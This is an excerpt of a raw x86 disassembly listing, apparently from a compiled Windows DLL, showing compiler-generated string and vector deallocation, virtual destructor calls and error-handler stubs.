mov edx, dword [ebp - 0x180]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x10090447
mov ecx, dword [ebp - 0x194]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009043d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
cmp edx, 0x10
jb 0x1009049c
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090492
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
cmp edx, 0x10
jb 0x100904f1
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100904e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x10090546
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009053c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ebx, dword [ebp - 0xc]
inc dword [0x100ff92c]
mov edi, dword [ebp - 0xc8]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xc4]
sub ecx, edi
imul ecx
lea eax, [ebp - 0xa4]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmovne eax, edi
mov edx, dword [eax]
lea eax, [ebp - 0xa4]
sub edx, dword [ebp - 0xd0]
test ecx, ecx
cmovne eax, edi
cmp byte [eax + 8], 0
je 0x100905d8
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edi, dword [ebp - 0x6c]
sub eax, ecx
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008f5d1
mov edi, dword [ebp - 0x6c]
xor eax, eax
xor ecx, ecx
sub eax, ecx
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008f5d1
call dword [0x100ff928]
mov edx, dword [ebp - 0x84]
cmp edx, 0x10
jb 0x10090630
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090626
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090883
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x10090664
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009065a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090883
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp edi, 0x10
jb 0x10090695
mov ecx, dword [ebp - 0x80]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x1009068b
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090883
push edi
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0xc8]
test esi, esi
je 0x10090703
mov ecx, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x100906db
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090883
push ecx
push esi
call fcn.100baf94
add esp, 8
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0xe4]
call fcn.100aecb0
mov ecx, dword [ebp - 0xd4]
test ecx, ecx
je 0x10090729
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10090729
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf8]
call fcn.100aecb0
mov ecx, dword [ebp - 0xe8]
test ecx, ecx
je 0x1009074f
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1009074f
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x30]
call fcn.100aecb0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x1009076f
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1009076f
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x100907a3
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090799
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090888
push edx
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0x144]
movups xmm0, xmmword [ebp - 0x1c]
mov edx, dword [ebp + 0x1c]
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [esi + 0x10], xmm0
cmp edx, 0x10
jb 0x100907ee
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100907e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090874
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x10090830
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090826
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090874
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008f360
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f356
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008f356
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3